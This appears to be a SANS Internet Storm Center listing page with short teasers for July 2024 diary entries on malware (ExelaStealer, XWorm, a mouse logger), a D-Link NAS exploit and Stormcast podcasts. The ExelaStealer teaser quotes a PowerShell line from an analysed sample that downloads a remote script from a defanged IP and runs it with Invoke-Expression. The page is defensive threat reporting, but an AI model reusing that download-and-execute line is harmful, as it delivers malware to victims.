When Johannes talked about my diary entry "Protected OOXML Spreadsheets" on his StormCast podcast, he mentioned that I privately shared data on the power consumption of my desktop with a NVIDIA GeForce RTX 3080 GPU when
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Create Your Own BSOD: NotMyFault, (Sat, Jul 27th)
With all the Blue Screen Of Death screenshots we saw lately, I got the idea to write about Sysinternals' tool NotMyFault. Say that you want to practice handling BSODs, or that you need to document and
Continue ReadingExelaStealer Delivered “From Russia With Love”, (Fri, Jul 26th)
Some simple PowerShell scripts might deliver nasty content if executed by the target. I found a very simple one (with a low VT score of 8/65): $webclient = New-Object System.Net.WebClient $webclient.Headers.Add("X-Requested-With", "PowerShell") $script = $webclient.DownloadString("hxxp://147[.]45[.]159[.]206/open.ps1") Invoke-Expression
Continue ReadingISC Stormcast For Friday, July 26th, 2024 https://isc.sans.edu/podcastdetail/9070, (Fri, Jul 26th)
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Continue ReadingXWorm Hidden With Process Hollowing, (Thu, Jul 25th)
XWorm is not a brand-new malware family[1]. It's a common RAT (Remote Access Tool) re-use regularly in new campaigns. Yesterday, I found a sample that behaves like a dropper and runs the malware using the Process
Continue ReadingISC Stormcast For Thursday, July 25th, 2024 https://isc.sans.edu/podcastdetail/9068, (Thu, Jul 25th)
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Continue Reading“Mouse Logger” Malicious Python Script, (Wed, Jul 24th)
Keylogging is a pretty common feature of many malware families because recording the key pressed on a keyboard may reveal a lot of interesting information like usernames, passwords, etc. Back from SANSFIRE, I looked at my backlog
Continue ReadingISC Stormcast For Wednesday, July 24th, 2024 https://isc.sans.edu/podcastdetail/9066, (Wed, Jul 24th)
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Continue ReadingNew Exploit Variation Against D-Link NAS Devices (CVE-2024-3273), (Tue, Jul 23rd)
In April, an OS command injection vulnerability in various D-Link NAS devices was made public [1]. The vulnerability, %%CVE:2024-3273%% was exploited soon after it became public. Many of the affected devices are no longer supported. We
Continue ReadingISC Stormcast For Tuesday, July 23rd, 2024 https://isc.sans.edu/podcastdetail/9064, (Tue, Jul 23rd)
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
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